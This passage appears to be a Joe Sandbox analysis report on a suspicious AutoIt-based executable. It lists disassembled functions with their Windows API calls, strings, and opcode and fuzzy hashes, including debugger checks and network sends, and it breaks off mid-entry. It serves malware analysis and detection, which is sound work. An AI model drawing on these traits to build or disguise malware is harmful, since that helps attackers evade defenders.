Opcode ID: a396ab874808eb49e94dd7e8e8bb057adb28b8c1efffa0580f07db0fec9860df
Instruction ID: 3c6365343e1080e3cb4fd6573d42ec2a3ce774e3b967383942fe60bb8c5d2d25
Opcode Fuzzy Hash: a396ab874808eb49e94dd7e8e8bb057adb28b8c1efffa0580f07db0fec9860df
Instruction Fuzzy Hash: FE418021A042589BDF15AB548C517FF7FB29B25300FA9C465F98EDB183C7219DD087A1

Function 001C013F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 001C01A9

Strings

0.0.0.0, xrefs: 001C01B7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscmp
String ID: 0.0.0.0
API String ID: 856254489-3771769585
Opcode ID: 292f9f1d6e57a062b8d1b25de67373db96174985d30af16ebb4142cebe5226eb
Instruction ID: 57643a27c2a7bdb2cdf06d06d4e8debe47fce4d8d4cfb029907e158230d6f229
Opcode Fuzzy Hash: 292f9f1d6e57a062b8d1b25de67373db96174985d30af16ebb4142cebe5226eb
Instruction Fuzzy Hash: 7911E335640204EFCB05EB54D981E99F3F9AFA8710B18805DF509AF392DB70ED818BA0

Function 00173BFF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001E3CF1

Part of subcall function 001731B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 001731DA

Part of subcall function 00173A67: SHGetMalloc.SHELL32(00173C31), ref: 00173A7D
Part of subcall function 00173A67: SHGetDesktopFolder.SHELL32(?), ref: 00173A8F
Part of subcall function 00173A67: SHGetPathFromIDListW.SHELL32(?,?), ref: 00173AD2

Part of subcall function 00173B45: GetFullPathNameW.KERNEL32(?,00000104,?,?,002322E8,?), ref: 00173B65

Strings

X, xrefs: 001E3D01

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Path$FullName$DesktopFolderFromListMalloc_memset
String ID: X
API String ID: 2727075218-3081909835
Opcode ID: 0135736bb5e4e6fdf4aeb424efa57fa39d6f2904aeb3c0d8643328e6f16d4786
Instruction ID: 50eb36cf4e41382787fa7f2721d7394dcdea25b5913b396120567fa298ee7c7f
Opcode Fuzzy Hash: 0135736bb5e4e6fdf4aeb424efa57fa39d6f2904aeb3c0d8643328e6f16d4786
Instruction Fuzzy Hash: 9B11A3B1A10298ABCF05DFD4D8056EEBBF9AF55704F00800AF915BB241CBB44A49DBA1

Function 001B30AC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001B30E7

Strings

"#, xrefs: 001B30B0

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID: "#
API String ID: 4104443479-3789857742
Opcode ID: 8ae861b08919a90c507ee4f6a46fed65405db0e9e4c8acd5dc8e223ee5cf7305
Instruction ID: 02b2664ac8c5a950c5ce14b467fd5e3bb9e6f559147900f4622bee95604e66b9
Opcode Fuzzy Hash: 8ae861b08919a90c507ee4f6a46fed65405db0e9e4c8acd5dc8e223ee5cf7305
Instruction Fuzzy Hash: 86018136301225ABCB28DF2DD8919AB77A9EFC5364714842EF90ACB245D731E916C7A0

Function 001734C1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 001E34AA

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: LibraryLoad
String ID: >>>AUTOIT NO CMDEXECUTE<<<
API String ID: 1029625771-2684727018
Opcode ID: 549dabd8b5d86e081f61fd3a2b55c3740394bd74e812d48c27a6252036a37a13
Instruction ID: 18c651ad585fa3ffcea50302c7904938d7d8f6e0783aa94be1509b09a9d78622
Opcode Fuzzy Hash: 549dabd8b5d86e081f61fd3a2b55c3740394bd74e812d48c27a6252036a37a13
Instruction Fuzzy Hash: 3AF06871D4420DBE8F15EFB0C8518FFB7B8AA20310F10C526E83692082EB349B09DB21

Function 001B6852 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001B6623: SetFilePointerEx.KERNEL32(?,?,?,00000000,00000001,00000003,?,001B685E,?,?,?,001E4A5C,0020E448,00000003,?,?), ref: 001B66E2

WriteFile.KERNEL32(?,?,"#,00000000,00000000,?,?,?,001E4A5C,0020E448,00000003,?,?,00174C44,?,?), ref: 001B686C

Strings

"#, xrefs: 001B6864

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: File$PointerWrite
String ID: "#
API String ID: 539440098-3789857742
Opcode ID: ecfecdbbad9a43d5f70a322b5c249ef2fe61898b08de4cdd8c30d46bd7344061
Instruction ID: cb4be0fb21c7a84c547130003f87d4b078319f307029c55eeefeebe6faaab9ee
Opcode Fuzzy Hash: ecfecdbbad9a43d5f70a322b5c249ef2fe61898b08de4cdd8c30d46bd7344061
Instruction Fuzzy Hash: A7E04D36000208BBDB20AF94E801ADABBB9EB08320F00051AF941A2010D7B6AA14EBA0

Function 0018F461 Relevance: 3.2, APIs: 2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c34c209c65dfa9cc708d17ee9da13298de34f6b0e9f2b445f95f566da3ba9e28
Instruction ID: 2afcd10082f1973c07eed9d1b55c18b5ee07d97129e0166ecb89fe0237774e5e
Opcode Fuzzy Hash: c34c209c65dfa9cc708d17ee9da13298de34f6b0e9f2b445f95f566da3ba9e28
Instruction Fuzzy Hash: 7051D4312047019FCB14EF68C491BAE73E5AFA8324F54856DF99A8B292DB30ED45CF91

Function 001BAE06 Relevance: 3.1, APIs: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001BAEFB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: e5aa09aba4268c1cc50c761c193fdb18672b9a9d58f429ba963382a05431ee3a
Instruction ID: 26dab7e9a5991d40774d8d9579c10c18e598249687bbaa438ebffb39bf15a142
Opcode Fuzzy Hash: e5aa09aba4268c1cc50c761c193fdb18672b9a9d58f429ba963382a05431ee3a
Instruction Fuzzy Hash: 513190B16002049FDB14EFA8D8819FEB7F8EF69310F64886DE18597282DB71D9058B61

Function 001C8065 Relevance: 3.1, APIs: 2, Instructions: 98COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 001C8074
GetForegroundWindow.USER32 ref: 001C807A

Part of subcall function 001C6B19: GetWindowRect.USER32(?,?), ref: 001C6B2C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$CursorForegroundRect
String ID:
API String ID: 1066937146-0
Opcode ID: 2ffdb87695d2f9d67f73b6185900e0c22e50346b029b05596663ab30d220e7ef
Instruction ID: 2c342f6f5a9c3e5e2329254a327c9d44e949a9b6d2641dfed8e6368b225dfc24
Opcode Fuzzy Hash: 2ffdb87695d2f9d67f73b6185900e0c22e50346b029b05596663ab30d220e7ef
Instruction Fuzzy Hash: 59312C75A00218AFDB11EFA4DC81BEEB7F8FF28314F14442AE945A7251DB34AE45CB90

Function 00171DCE Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 001EDB31
IsWindow.USER32(00000000), ref: 001EDB6B

Part of subcall function 00171F04: GetForegroundWindow.USER32 ref: 00171FBE

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$Foreground
String ID:
API String ID: 62970417-0
Opcode ID: 22ebb9801ac950fb7315f4923afc672320b08d0d854af1e4df14fdbac8c871ff
Instruction ID: 1f1acbed49cd4be4c20ec396147676a7013f50c4f50ddbfbbc3a6d4a56e4c826
Opcode Fuzzy Hash: 22ebb9801ac950fb7315f4923afc672320b08d0d854af1e4df14fdbac8c871ff
Instruction Fuzzy Hash: FC21CD72200206AADB21AB75D881BFE77BA9F91784F118429F95ED6141EF70EE02D760

Function 001AE2E8 Relevance: 3.1, APIs: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017193B: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00171952

SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 001AE344
_strlen.LIBCMT ref: 001AE34F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$Timeout_strlen
String ID:
API String ID: 2777139624-0
Opcode ID: 83a10175b1d81292539e42862e6cdb0e9ba3095a42187cbafa282f0e1e5f7ca3
Instruction ID: 8b491a08a9e4c9600eac9522462ea43c946400a6134907a53945966a3f62322c
Opcode Fuzzy Hash: 83a10175b1d81292539e42862e6cdb0e9ba3095a42187cbafa282f0e1e5f7ca3
Instruction Fuzzy Hash: 6511A3352002046BDF05BB68DC96DBE7BF9AF6A350B10443DF60ADB192DF60994687A0

Function 00173682 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

74A3C8D0.UXTHEME ref: 001736E6

Part of subcall function 00192025: __lock.LIBCMT ref: 0019202B

Part of subcall function 001732DE: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 001732F6
Part of subcall function 001732DE: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0017330B

Part of subcall function 0017374E: GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 0017376D
Part of subcall function 0017374E: IsDebuggerPresent.KERNEL32(?,?), ref: 0017377F
Part of subcall function 0017374E: GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\._cache_AYRASY.exe,00000104,?,00231120,C:\Users\user\Desktop\._cache_AYRASY.exe,00231124,?,?), ref: 001737EE
Part of subcall function 0017374E: SetCurrentDirectoryW.KERNEL32(?), ref: 00173860

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00173726

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$DebuggerFullNamePathPresent__lock
String ID:
API String ID: 3809921791-0
Opcode ID: 360de32a75a139939e2a79d421a0e55d461e9a0cd9e907eba9c2dba0bedd3046
Instruction ID: 6583dc702dc1ada216f666aa9426bbcde0c285a7d822975c8606b9d285083fb4
Opcode Fuzzy Hash: 360de32a75a139939e2a79d421a0e55d461e9a0cd9e907eba9c2dba0bedd3046
Instruction Fuzzy Hash: 18118CB19083419FC304EF29E84995ABBF8FB94710F00861EF854872A1EB709A94CF92

Function 00174B88 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000001,?,00174C2B,?,?,?,?,0017BE63), ref: 00174BB6
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000001,?,00174C2B,?,?,?,?,0017BE63), ref: 001E4972

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 548925893232901b1dad41329b79d4f268afa325ea5c307644ceac78b7d5e14a
Instruction ID: 7532d63229b7412d23876e2c60ee878f861eb6f03dc1758fed3f12ff8f651658
Opcode Fuzzy Hash: 548925893232901b1dad41329b79d4f268afa325ea5c307644ceac78b7d5e14a
Instruction Fuzzy Hash: 31016D70248208BFF2344E248C8AF663AACAB09768F108319BAE86A1E0C7B45C44CB54

Function 0018F26B Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,001BAEA5,?,?,00000000,00000008), ref: 0018F282
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,001BAEA5,?,?,00000000,00000008), ref: 0018F2A6

Part of subcall function 0018F2D0: _memmove.LIBCMT ref: 0018F307

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: 4df1ae2b23ed143af2397991aeaddec5204607115e516e59b7a747198175a9cc
Instruction ID: 3f8f64918b38c260f8a46d8b43e7099ae20108eb5c6e2e7b0cd42b768875ba5a
Opcode Fuzzy Hash: 4df1ae2b23ed143af2397991aeaddec5204607115e516e59b7a747198175a9cc
Instruction Fuzzy Hash: 01F03CB6104114BFAB11ABA5AC44DBB7BAEEF9A360700802AFD09CA111DA31DD41CB71

Function 0019F782 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 0019F7D9
__close_nolock.LIBCMT ref: 0019F7F2

Part of subcall function 0019886A: __getptd_noexit.LIBCMT ref: 0019886A

Part of subcall function 0019889E: __getptd_noexit.LIBCMT ref: 0019889E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle__close_nolock
String ID:
API String ID: 1046115767-0
Opcode ID: e9b7f2fbe72a3710854e6352571dd35bf952c932fec308f89d6575f25590918b
Instruction ID: f0a0b18ecc31fca1733f0d2bd85a608417fd8c4b88714d05a151b389acd51cc7
Opcode Fuzzy Hash: e9b7f2fbe72a3710854e6352571dd35bf952c932fec308f89d6575f25590918b
Instruction Fuzzy Hash: 0A110832C15610AEDF557FA4E88639876505F52731F660368E4349F1E3CBB4990287B1

Function 001734F3 Relevance: 3.0, APIs: 2, Instructions: 49COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 0017352A

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

_wcscat.LIBCMT ref: 001E66C0

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID:
API String ID: 257928180-0
Opcode ID: e7e33c4e26a7f143c5e37cf357e9e5a825e2a189b43611a85d6ea8bb086fc089
Instruction ID: 5c7e57e99b3a757f9d1a3596bc2ea46d35eaf0e6dffcab60943b9a021e979342
Opcode Fuzzy Hash: e7e33c4e26a7f143c5e37cf357e9e5a825e2a189b43611a85d6ea8bb086fc089
Instruction Fuzzy Hash: 7301927195410DAACF04FBA0DC45ADD73F9EF24348F10C1A5AA2ED3190EF709B959BA1

Function 001C9500 Relevance: 3.0, APIs: 2, Instructions: 46networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,?,00000000,00000000), ref: 001C9534
WSAGetLastError.WS2_32(00000000,?,00000000,00000000), ref: 001C9557

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorLastsend
String ID:
API String ID: 1802528911-0
Opcode ID: 2a9abaec04e3745da4fe93286c92aa064fc1c39d65d6e96ba4a9fe94c07d2125
Instruction ID: 774c3c6acb065ab13e13e1a84141071d3c496f6f6b251d8a43460aaa5818954b
Opcode Fuzzy Hash: 2a9abaec04e3745da4fe93286c92aa064fc1c39d65d6e96ba4a9fe94c07d2125
Instruction Fuzzy Hash: 9E0184353002009FC714EF24D895F6AB7E9EFA8724F10811EE64A87791CB70EC01CB90

Function 00194274 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0019889E: __getptd_noexit.LIBCMT ref: 0019889E

__lock_file.LIBCMT ref: 001942B9

Part of subcall function 00195A9F: __lock.LIBCMT ref: 00195AC2

__fclose_nolock.LIBCMT ref: 001942C4

Memory Dump Source

